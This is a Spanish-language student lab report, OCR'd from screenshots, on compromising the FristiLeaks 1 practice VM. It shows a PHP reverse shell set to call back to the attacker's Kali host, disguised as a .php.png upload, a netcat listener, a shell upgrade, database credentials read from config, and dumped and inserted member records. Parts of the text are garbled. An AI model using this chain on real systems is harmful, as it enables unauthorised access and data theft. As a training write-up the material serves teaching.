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Informe detallado de despliegue y explotacion de satena.exe

El hallazgo de un portal de administracion ( de la pagina fristile) nos llevo a la fase de explotacion.
Primero, preparamos un reverse shell para obtener control del servidor. Luego de conseguir una
terminal remota, exploramos el sistema de archivos del servidor para encontrar informacion sensible.
El punto de inflexion fue la obtencion de las credenciales de la base de datos a través de un archivo
de configuracion, lo que nos permitio acceder a la base de datos MySQL. Finalmente, no solo
pudimos extraer datos de la tabla members sino también insertar nuevos usuarios, demostrando el
control total sobre la informacion del sitio web.

Objetivo y contexto

El objetivo principal de este proceso de hacking ético es demostrar la vulnerabilidad de una
aplicacion web en un entorno de laboratorio controlado. A través de una serie de pasos, se busca
identificar y explotar las debilidades del sistema para obtener acceso no autorizado y control sobre
un servidor y su base de datos.

El contexto es un escenario de prueba realista, donde se utiliza un conjunto de herramientas de
seguridad (VirtualBox, Kali Linux, Netcat, Dirb) para simular un ataque.



Nueva direccion Mac de Fristileaks 1.

Aqui en este apartado lo que hicimos fue cambiar la direccion Mac que traia por defecto al
momento de montar la ova, ya que cuando le damos en red NAT, no nos permitia adquirir dhcp para
esta maquina entonces lo que hicimos fue cambiar la direccion Mac para que ahora si pudiera
adquirir dhcp con la direccion de nosotros.

¥ FristiLeaks 1 - Settings
Basic Expert

General Red

A do A dor2 A dor 3 A dor 4
e Adaptador1 = Adaptador2 = Adaptador3 = Adaptador4

v Habilitar adaptador de red
Pantalla

Conectado a:  Red NAT

9 (] B [

Almacenamiento
Nombre:

Audio

Tipo de adaptad
Red Medo

Puertos serie Direccién

v Cable conectado

USB

Carpetas compartidas
Puertos serie

=
[ 4
-
]

Interfaz de usuario Puerto 1 erto Puerto 3 Puerto 4

Aceptar Cancelar

Ilustracion 1 Nueva direccion Mac de Fristileaks 1.



Analisis de la pagina

El comando que utilizamos para escanear la pagina y ver sus archivos o su contenido fue el
siguiente, COmo nos dimos cuenta que esa era la direccion IP porque al insertarle una Mac

diferente esa se conectaba a nuestro rango de red que tenemos disponible Y entonces notaba
210.210.200.12

)= L~}

irb http://210.210.200.12/

START_TIME: Thu Sep 4 16:27:03 2025
URL_BASE: http://210.210.200.12/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://210.210.200.12/ ----

+ http://210.210.200.12/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://210.210.200.12/images/

+ http://210.210.200.12/index.html (CODE:200|SIZE:703)
+ http://210.210.200.12/robots.txt (CODE:200|SIZE:62)

---- Entering directory: http://210.210.200.12/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

END_TIME: Thu Sep 4 16:27:21 2025
DOWNLOADED: 4612 - FOUND: 3

1lustracion 2 Analisis de la pagina



Index de la pagina fristileks

Con la direccion IP que ya no sabiamos esa misma ipes la utilizamos para ingresar a la pagina y nos
arrojo este indes

Archivo  Méquins Ver Entrads Dispositvos Ayuda
&= .« Aplicaciones  Lugares 4desep 16:22 01kB  00kB

B 21021020012/ o

€ 52 C @ O A& 210.210.200.12

OffSec Kali Linux @ KaliTools * KaliDocs X Kali Forums & Kali NetHunter Exploit-DB % Google Hacking DB

The #fristileaks motto:

KEEP
CALM

Tlustracion 3 Index de la pagina fristileks

C @ & view-source:http://210.210.200.12/

OffSec Kali Linux @ KaliTools « KaliDocs X Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB

s
bgcolor="#FFe

NL, @0xDUDE, @a

llustracion 4 codigo fuente

Luego nos dirigimos a ver el cddigo fuente donde encontramos ciertas cosas en la pagina que nos
sirvieron para continuar con el analisis y la vulnerabilidad de la pagina freestyle



Lista de los archivos de firsti
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Aqui lo que hicimos fue listar la ruta de la pagina para que nos arrojara esos datos que vemos en
pantalla los cuales nos iban a servir mas adelante para continuar con la vulnerabilidad a la pagina

La idea es utilizar una herramienta de ataque como Dirb o Dirbuster para probar cada uno de los
nombres de estas listas de palabras contra la pagina web de Fristileaks, con el fin de descubrir
directorios o archivos ocultos que no estan enlazados directamente desde la pagina principal

~

pater@pater: /usr/share/dirb/wordlists

i /usr/share/difb/wordlists/

[ /usr/share/dirb/wordlists

root
root
root
root
root
root
root
root
root
root
root
root
root
root

5
3
1
1
1
1
1
1
1
2
1
1
2
p

4096
4096
184073
1292
35849
1492
142
75
244
4096
6561
3731
4096
4096

ago
ago
ene
ene
nov
may
dic
mar
dic
ago
mar
nov
ago
ago

00:15
00:15
2012
2012
2014
2012
2005
2012
2005
00:15
2014
2014
00:15
00:15

big.txt

catala.txt

common. txt
euskera.txt
extensions_common.txt
indexes. txt
mutations_common.txt

small.txt
spanish. txt

[ /usr/share/dirb/wordlists

llustracion 5 Lista de los archivos de firsti
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Herramienta Dirb

La imagen muestra la ejecucion de la herramienta Dirb para realizar un escaneo de directorios en el
servidor web

) ~

DIRB v2.22
By The Dark Raver

START_TIME: Thu Sep 4 16:34:48 2025
URL_BASE: http://210.210.200.12/

WORDLIST_FILES: /usr/share/dirb/wordlists/small.

~

By The Dark Ra
GENERATED WORDS: 959 =

START_TIME: Thi
---- Scanning URL: http://210.210.200.12/ ---- s il
+ http://210.210.200.12/cgi-bin/ (CODE:403|SIZE:210)

==> DIRECTORY: http://210.210.200.12/images/

---- Entering directory: http://210.210.200.12/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

Ilustracion 6 herramienta Dirb

Esta imagen muestra un paso crucial en la fase de reconocimiento de un sitio web

5  210.210.200.12/ X 1 210.210.200.12/robots.txt X  3037440.jpg (JPEG Image,

« C @ O & 210.210.200.12/

OffSec Kali Linux @ KaliTools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google H

User-agent: *

Disallow: /cola
Disallow: /sisi
Disallow: /beer

Ilustracion 7 robost.txt
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Portal de administracion

Abri una nueva pestafia en mi navegador y, basandome en los nombres que encontré en los pasos
anteriores, navegué directamente a la direccion http://210.200.200.12/fristileaks/

210.210

KaliLinux @ KaliTools = KaliDocs X Kali Forums X Kali NetHunter

Member Login
Username

Password

Ilustracion 8 Portal de administracion


http://210.200.200.12/fristileaks/

Formato Base64
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Esta imagen muestra un paso en el proceso de descifrado, donde se esté utilizando una herramienta

en linea para decodificar datos en formato Base64

Decode from Base64 format

Samply erter your data then push the decode button.

YogVSZZIXDNMSACiCni+kL RngizX ThUQOhEks02kSpGy00aLq

un»shs«;c!osrvmcszuoxnxvqxbb\m- AyRaLLp+Bbhy 'J)Hx.\mCZFg
tOHOdry dLPWI1mulDLL 1qg1 YTVIHXIMmC21
mwew Y hk0JIZK qinvBAOL y *rzsmmh»pl
IKNU+Z20uF, d mL? i HB iISBHK

mo-w:cmmmonwsrq:mngsw'xmvsaasczlasvcrlluhmhsxmouuq
MO +0CKQENUNPVCZ21R|7erEZ0WGoZ +SIRW 10 XNEIZNVBMWUISIYIM +hOLKCIAIUHE UZUI0IB67X 34

ImLiOZ HNKE TKCAP31 \VZOTCkq
Emoassysvxwmmrmmsymummmzmunazﬁwwm
AHGRY4ABCIHAHIRIWCSYB EAXUQIACTYBIAXOQLAXWEBAEWOAPARWBAKSMAVMORAF TKCAAVCOSAFZK
CwiscAeBRGOWIkcAe JEJALZIEQBeSAGAL IIEGBCSASCLHAHGRY 4ABPNO/QNa7ZIK1GlyCQAAAABIR

UsErkiggg i
© For encoded bnaries (ke Images, Jocuments, cc.) L=e the e upload form a iEtle further doAT O thes page
UTF.s8 v Source character set.

Decode each line separately (useful for when you have muliple engies)

D Lve mode OFF Decodes In real-ime as you type o paste (SUPPOrs only the UTF.8 character zet).

< DECODE > Decodes your Gata o the area Delow.

PNG
o

v

HORG€V M@ ek 10001, 00€ srcee 1006 15aMa 0@ a1 pHvse € 10 & ] ode & lrinatx Qv Hallzianckr@iasswlls
~O00ee cox@ 1o N&r 0l coxe & Herl sl @ coxe & &/ Hatanea)j00~200~2zeL Dzz0uwsoy(k}iral{e
XKKL>a%6ZD[Seso[):40vkKL>e OKZtin

~s6&Rrxg vsjrgpzlIRZb  -JuHsDor{ OisseGixq- Okejl] Og=YxibbOzH-yyiHsnxo7(Ome

FnTavweRl OTaie Doos 0 Osinsnzizc ydamDosTrOrO O-Osaassisyo Oy

OoDwk} Oh)d [TsiNus-gy0.C-GR.K\g} J<g Nue-Ov_uzs|0_Axgzdxa{<O7

ocpaOpO00joIsc2hkGtObs -OrOJ3sOs+Oo't 0900 >uli3pdUr+»@ 00 0) 0zuqr>ez00[z0s0zri0 €©5:10f.-OhrEZT_>sdDas0(.Our
a0 zz00=s17_>Trd+787)0-Jdrus@ | D@r e 0 D@ cox@ 1 el coxe 1 Ue s 0@ coxne 1o D&/
0000 0e@zeneeeei=nne 7

Ilustracion 9 Formato Base64

| See Examples [ l Learn How to Use [ See Pricing and Plans

Input Base64 @ Output PNG

TUHBArysrz4edasalPwinu LDLUGSPAESKOVIDHGLqQIXnT XEBETU/
PZy7ViHXINC21HI IWVBBF dZbEWS

300207 k3y+pQITfNEGA INOCOUNYSAGXT hkOIZKe ZwdNwG NVEAOUNS SWhEUMYRS2T2
B+1uDh++F1

3K/U+Z2uF INWNCMmhLZUe2v6n/

AAWG+mLNIKGWIIECKSMI 1606+eCHBAVOUUAPIKGDI2r Gui SBHK

ul91MrFG9gqa/

VTBBQORLUSTQF7{YUTtgsn/4+2fhV6ati Tsc216rGVGTI1SLLhPbNhBKALDU12q
mD+0cKQBNUNPVCZ21R) 7T EZOWG0Z+5IRW1OXNBIZ/

VBMWULSFY Lm+ hDLKCTAt UHEUZU/ 191867X34 keKkeKKeKKeKKEkKEk
rPLAGImL10ZrqX6gu37alukRkVay IRTqpk+9HNKHBSNNOCTKCAP31Vebhd8ry/
Vz0TCkaeBWLrrFhe

EPAHI03SSySTXVF+qnTSUCATI+S5//
fyyOLU3KWOGLA59ZKDEUS10TZM APSbSAGAL 3TEGBCSASCLH
AHGRY4ABCIHAH1RIWCBYBEAXUQIACYBIAXOQLAL XWBAEWOAPAIRWEAKSMAVMQRAF 7
KCAAVCQSAFzZK

CwIscAeBF)gDRIKCARJEJALZIEQBESAGAL 3TEQBCSASCLHAHGRY4ABPRO/
QNa7z1k1qtycQAAAABIR

USErkJgag

Import from file Save as... Copy to clipboard Save as...

llustracion 10 descripcion
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Preparacion de un webshell

la preparacion de un webshell de tipo reverse shell. Después de encontrar una vulnerabilidad en el
sitio, el siguiente paso es preparar una herramienta para explotarla y obtener el control del servidor.

Archivo Maquina Ver Entrada Dispositivos Ayuda

- - Aplicaciones  Lugares 4 desep 17:45

L root@pater: Jusr/share/webshells/php

php-reverse-

shell.ph iC S
AL [sudo] contraseia para pater:

cd
/home/pater
/usr/share/webshells

/usr/share/webshells

/usr/share/webshells

/usr/share/webshells/php

php-reverse-shell.php simple-backdoor.php
php-backdoor.php gqsd-php-backdoor.php

/usr/share/webshells/php
php-reverse-shell.php /home/pater/Escritorio

/usr/share/webshells/php

[lustracion 11 Preparacion de un webshell

Aqui, me estoy asegurando de que el archivo pueda pasar por cualquier filtro de subida que el
servidor web pueda tener, Pero antes se estaba configurando la direccion IP que trae por defecto ese
php para que quedara con la direccion IP de nuestra maquina la cual es Kali Linux la atacante

/home/pater/Escritorio
php-reverse-shell.php win.php.png

/home/pater/Escritorio

win.php.png

/home/pater/Escritorio

Hlustracion 12 configurando la direccion IP
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Configuracion del Nano Win.php.png

Localicé las lineas marcadas con / CHANGE THIS. Se referian a dos variables clave:

$ip: Cambi¢ el valor de la IP por la direccion de mi maquina, que en este caso es 210.210.200.4.
Esta es la direccion a la que el servidor de la victima intentara conectarse.

$port: Dejé el valor predeterminado 1234. Este es el nimero de puerto que configuraré en mi
maquina para "escuchar" la conexion entrante del reverse shell.

L root@pater: /home/pater/Escritorio Q =

GNU nano 8.6 win.php.png *
// Usage

if you get stuck.

set_time_limit (0);

$VERSION = "1.0";

$ip = '210.210.200.4); // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;

$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pentl_fork is hardly ever available, but will allow us to daemonise

Ayuda ¢ Guardar Buscar { Cortar Ejecutar Ubicacion
Salir % Leer fich. Reemplazar Pegar g Justificar @ Ir a linea

Mlustracion 13 Configuracion del Nano Win.php.png

« > C O O A& 210.210.200.12/f

OffSec Kali Linux #s KaliTools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking 3

WARNING: Failed to daemonise. This is quite common and not fatal. Network is unreachable (101)

Este problema que me aparecia aqui, es porque habia puesto mi direccion ip de mi Kali Linux mal



Netcat modo de escucha

Muestra que el reverse shell que preparé y subi al servidor fue ejecutado con éxito, dandome
control total sobre la maquina de la victima.

Antes de intentar ejecutar el webshell en el servidor, en la terminal ejecuté el comando nc -lvp
1234.

nc: Es el comando para Netcat, una herramienta muy versatil que utilicé como "oyente".

-1: Le dije a Netcat que estuviera en modo de escucha (listen).

-v: Le pedi que me diera informacion detallada (verbose).

-p 1234: Le indiqué que escuchara en el puerto 1234, el mismo que configuré en mi script del

reverse shell.

/home/pater/Escritorio

vp 1234
listening on [any] 1234 ...
210.210.200.12: inverse host lookup failed: Unknown host
connect to [210.210.200.4] from (UNKNOWN) [210.210.200.12] 60031
Linux localhost.localdomain 2.6.32-573.8.1.e16.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 X

86_64 x86_64 x86_64 GNU/Linux
12:36:21 up 2:16, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGINg IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell

sh-4.1% |

llustracion 14 Netcat modo de escucha

16
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Pasos para crear los dos usuarios en la base de daros de fristileas

El simbolo del sistema sh-4.1$ me indica que ya estoy dentro de la maquina del servidor de
Fristileaks. Lo primero que hice fue ejecutar un comando basico de exploracion: Is -la.

Is: Es el comando estandar para listar el contenido de un directorio.

-l: Muestra la lista en formato largo, lo que me da detalles como permisos, propietario, tamafio y
fecha.

-a: Muestra todos los archivos, incluyendo los que estan ocultos (los que comienzan con un punto).

root@pater: /home/pater/Escritorio

.autofsck
.autorelabel
bin

boot

dev

etc

home

lib

1ib64
lost+found
media

mnt

opt

proc

root

sbin
selinux
sSrv

SVs

0
WNINNWWWWNNDY®

[oy

llustracion 15 simbolo del sistema sh-4.1$
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Navegacion en los archivos de fristi

Con mi terminal remota (sh-4.18), comencé a moverme por el sistema de archivos usando el
comando cd (change directory):

Exploracion inicial: Primero, navegué a la carpeta /var (cd var). Este es un directorio estandar de
Linux para archivos variables del sistema, incluyendo los de los servidores web.

Encontrando la raiz web: Luego, me movi a /var/www (cd www), que es una ubicacién muy
comun para los sitios web. Intenté entrar en la carpeta HTML (c¢d HTML.), pero recibi un error
porque el nombre del directorio era en mintusculas. Corregi el error y entré a /var/www/html (cd
html). Esto me confirmé que estaba en el directorio principal del servidor web.

Localizando el sitio especifico: Finalmente, sabiendo que el sitio se llamaba "Fristileaks", probé a
moverme al directorio fristi (ed fristi). El comando fue exitoso, lo que significa que encontré la
carpeta que contiene todos los archivos de la pagina web.

sh-4.1% cd var
cd var
sh-4.1% cd www
cd www
sh-4.1% cd HTML
cd HTML

sh: cd: HTML: No such file or directory
sh-4.1% cd html

cd html

sh-4.1% cd fristi

cd fristi

sh-4.1% ||

llustracion 16 mi terminal remota
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Revision de Archivo de Configuracion de Login

Utilicé el comando cat checklogin.php para ver el contenido del archivo checklogin.php, que
encontré en la carpeta del sitio web.

Credenciales de la base de datos: El script contenia las credenciales para la conexion a la base de
datos:

S$username: "eezeepz"
$password: "4l13maall2#"

$db_name: "hackmenow"

sh-4.1% cat checklogin.php
cat checklogin.php
<?php

ob_start();

%$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4113maali124#"; // Mysgl password
%db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username”, "$password”)or die("cannot connect");
mysql_select_db("$db_name" )or die("cannot select DB");

// Define $myusername and $mypassword

$myusername=$_POST[ 'myusername’];
$mypassword=$_POST[ 'mypassword’];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);

$mypassword = stripslashes($mypassword);

$myusername = mysql_real_escape_string($myusername);

$mypassword = mysql_real_escape_string($mypassword);

$5q1="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword"'";
$result=mysql_guery($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row

Hlustracion 17 Configuracion de Login
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Obtencion de una Terminal Interactiva Mejorada

Aunque ya tenia acceso al sistema a través del reverse shell, el shell inicial (sh-4.1$) era muy
basico y carecia de funcionalidades importantes como el historial de comandos, la
autocompletacion con Tab o la capacidad de manejar Ctrl+C. Para realizar un trabajo mas eficiente,
necesitaba una terminal mas robusta.

sh-4.1% python -c 'import pty;pty.spawn("/bin/bash")’
python -c 'import pty;pty.spawn("/bin/bash")’

bash-4.1%

Llustracion 18 Terminal Interactiva Mejorada

Acceso a la Base de Datos con Credenciales Robadas

Después de obtener las credenciales de la base de datos del archivo checklogin.php, ahora estoy
usandolas para acceder directamente a la base de datos de la pagina.

Para lograrlo, ejecuté el comando mysql -u eezeepz -p.

mysql: Es la herramienta de linea de comandos para interactuar con la base de datos MySQL.
-u eezeepz: Le dije a la herramienta que queria conectarme como el usuario eezeepz.

-p: Le indiqué que se me pidiera una contrasefia.

Cuando el terminal me pidi6 la contrasefia, ingresé la que habia encontrado en el archivo PHP:
4113maall2#.

bash-4.1% mysql -u eezeepz -p
ysql -u eezeepz -p
Enter password: 41l13maalil2#

lelcome to the MySQL monitor. Commands end with ; or \g.
our MySQL connection id is 4
[Server version: 5.1.73 Source distribution

, 2013, Oracle and/or its affiliates. All rights rese

Dracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

ype 'help;' or '\h' for help. Type '\c’' to clear the current input sta
ement.

ysql>

Mlustracion 19 Credenciales Robadas
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Enumeracion y Seleccion de la Base de Datos

Comandos ejecutados dentro del monitor de MySQL, con el objetivo de identificar y seleccionar la
base de datos correcta para la exfiltracion de datos.

Listado de bases de datos: Primero, ejecuté el comando SHOW DATABASES;. Este comando me
mostro una lista de todas las bases de datos a las que el usuario eezeepz tenia acceso. La lista
reveld dos bases de datos: information schema (una base de datos del sistema) y hackmenow. Este
ultimo nombre coincidia con el que encontré en el script PHP, lo que confirmd que esta era la base
de datos que contenia la informacion del sitio web.

Seleccion de la base de datos: Luego, utilicé el comando USE hackmenow; para seleccionar esa
base de datos. El mensaje "Database changed" confirmd que ahora estaba trabajando dentro de la
base de datos hackmenow.

mysql> SHOW DATABASES;
SHOW DATABASES;

2 rows in set (0.00 sec)

mysql> USE hackmenow;

USE hackmenow;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> ||

llustracion 20 Enumeracion y Seleccion de la Base de Datos
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Busqueda de Tablas de Usuarios

Ya dentro de la base de datos hackmenow, mi siguiente paso fue encontrar la tabla que contenia la
informacion de los usuarios. Para ello, ejecuté el comando SHOW TABLES:;.

La base de datos me devolvid una unica tabla llamada members. Este es el objetivo principal que
estaba buscando, ya que su nombre indica que contiene los datos de los miembros del sitio, como
nombres de usuario y contrasenas.

mysql> SHOW TABLES;
SHOW TABLES;

1 row in set (0.00 sec)

mysql>

llustracion 21 Busqueda de Tablas de Usuarios

Estructura de la Tabla 'members'

Una vez que encontré la tabla members, mi siguiente paso fue entender su estructura para saber
donde se almacenaba la informacion de los usuarios. Ejecuté el comando DESCRIBE members;.

Este comando me mostro la estructura de la tabla, con sus columnas y tipos de datos:
id: Un niimero entero que sirve como identificador tnico.
username: Una cadena de texto (varchar) para los nombres de usuario.

password: Una cadena de texto (varchar) para las contrasenas.

mysql> DESCRIBE members;
DESCRIBE members;

username varchar(65)
password varchar(65)
g IR _
3 rows in set (0.0@ sec)

mysql> [

Ilustracion 22 Estructura de la Tabla 'members’
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Obtencion de Credenciales de Usuario

Una vez que entendi la estructura de la tabla, mi objetivo final era extraer la informacion que
contenia. Para ello, ejecuté el comando SELECT * FROM members;.

Este comando es una consulta SQL que le dice a la base de datos que seleccione (SELECT) todos
(*)los campos de la tabla members’.

La terminal me devolvi6 el contenido de la tabla, que incluia el id, el username y la password. Con
esto, obtuve las credenciales de acceso de un usuario:

username: ¢czeepz

password: keKkeKKeKkeKkEkkEk

mysql> SELECT * FROM members;

SELECT * FROM members;

et Sl DL o m e +
| 1d | username | password |
e L PP TP E PR Fmmmmmmmmmmm—mmm === +
| 1| eezeepz | keKkeKKeKKeKkEkkEk |
et Sl BT o +
1 row in set (0.00 sec)

mysql> [

llustracion 23 Obtencion de Credenciales de Usuario
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Manipulacion de la Base de Datos

Una vez que obtuve las credenciales de un usuario, procedi a manipular la base de datos. Utilicé el
comando INSERT INTO para agregar nuevos usuarios a la tabla members.

El objetivo de esta accion no era solo demostrar que podia insertar datos, sino también crear nuevas
credenciales de acceso para mi mismo en el sitio.

Primer Usuario: Utilicé el comando INSERT INTO members (username, password) VALUES
('daniel', 'usuariol'); para agregar un usuario con el nombre "daniel" y la contrasefia "usuariol".

Segundo Usuario: Luego, agregué un segundo usuario con INSERT INTO members (username,
password) VALUES ('samir’, 'usuario2');, con el nombre de usuario "samir" y la contrasefia
"usuario2".

mysql> INSERT INTO members (username, password) VALUES ('daniel', 'usuario
1');

INSERT INTO members (username, password) VALUES ('daniel', 'usuariol’);
Query OK, 1 row affected (0.00 sec)

mysql> INSERT INTO members (username, password) VALUES ('samir', 'usuario2
"

INSERT INTO members (username, password) VALUES ('samir', 'usuario2');
Query OK, 1 row affected (0.00 sec)

Ambos comandos fueron exitosos, como lo indica el mensaje ""Query OK, 1 row affected".

llustracion 24 Manipulacion de la Base de Datos
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Confirmacion de Insercion de Datos

Después de insertar los nuevos usuarios en la base de datos, ejecuté nuevamente el comando
SELECT * FROM members; para verificar que la informacion se habia guardado correctamente.

El resultado de la consulta me mostr6 la tabla completa, que ahora incluye las tres filas:
El usuario original eezeepz.

El usuario que inserté daniel.

El segundo usuario que inserté samir.

Esto demuestra que no solo pude obtener datos de la base de datos, sino que también pude escribir

y modificar su contenido.

mysql> SELECT * FROM members;
* FROM members;
—————————— T

username | password |
—————————— Fmm e

eezeepz | keKkeKKeKKeKkEkkEk |
daniel | usuariol |
samir | usuarioz

—————————— i e B LB

in set (@.00 sec)

lustracion 25 Confirmacion de Insercion de Datos



26

Consulta de investigacion
Comandos Utiles de Netcat (nc)

El comando Netcat (nc) es una herramienta versatil usada para leer y escribir datos a través de
conexiones de red.

-1: (Listen) Pone a Netcat en modo de escucha para esperar una conexion entrante en un puerto
especifico. Es esencial para crear un "oyente" como se hizo con el reverse shell.

-v: (Verbose) Muestra informacion detallada sobre la conexion, lo cual es util para la depuracion y
para ver el estado de la conexion.

-p <puerto>: (Port) Especifica el puerto de origen o el puerto en el que se va a escuchar.

-z: (Zero-1/O) Entra en modo de escaneo. Solo escanea para ver si un puerto esta abierto, sin enviar
ningun dato.

-n: (Numeric) Evita la resoluciéon de DNS, usando solo direcciones IP numéricas. Esto hace que la
conexion sea mas rapida.

-w <segundos>: (Timeout) Establece un tiempo de espera para las conexiones, lo cual es util para
evitar que se queden atascadas.

-u: (UDP) Usa el protocolo UDP en lugar del protocolo TCP por defecto.

-e <comando>: (Execute) Ejecuta un programa después de que se establece la conexion. Este
comando es clave para obtener un shell remoto.
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Cambiar la mac del Ubuntu

£ Ubuntu 24.04 (64bit) - Settings
Basic Expert

General Red

Sistema Adaptador 1

Pantalla
Conectado a:  Red interna
Almacenamiento

9 O E

Mombre: MI-RED-INTERMNA

Audio
Red Wi promiscuo: | Permitir todo
Puertos serie

v Cable conectado

USB

Carpetas compartidas
Puertos serie

B E %O

Interfaz de usuario Puerto 1

Aceptar Cancelar Ayuda

GNU nano 7.2 Jetefdhep/dhcpd. conf *
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Dificultades encontradas y soluciones

La principal dificultad del proceso de penetracion reside en la fase de reconocimiento y
enumeracion. Aunque la obtencion del reverse shell y la manipulacion de la base de datos parecen
los pasos mas complejos, dependen completamente de encontrar la vulnerabilidad inicial. En un
entorno real, los directorios no siempre son tan obvios como /images o /fristileaks, y los archivos
de configuracion no siempre exponen las credenciales tan facilmente.

Conclusiones

este ejercicio demostrd que una cadena de vulnerabilidades pequenias puede llevar a un control total
del sistema. La falta de proteccion en los directorios, la exposicion de un archivo robots.txt que
revelaba directorios sensibles, y la inclusion de credenciales de la base de datos en un archivo de
codigo fuente, actuaron como eslabones débiles. El proceso ilustrd que la seguridad de un sistema es
tan fuerte como su eslabon mas débil, y que una buena defensa requiere atencion a cada detalle,
desde la configuracion de la red hasta el codigo de la aplicacion.Rafel Sandoval Morales
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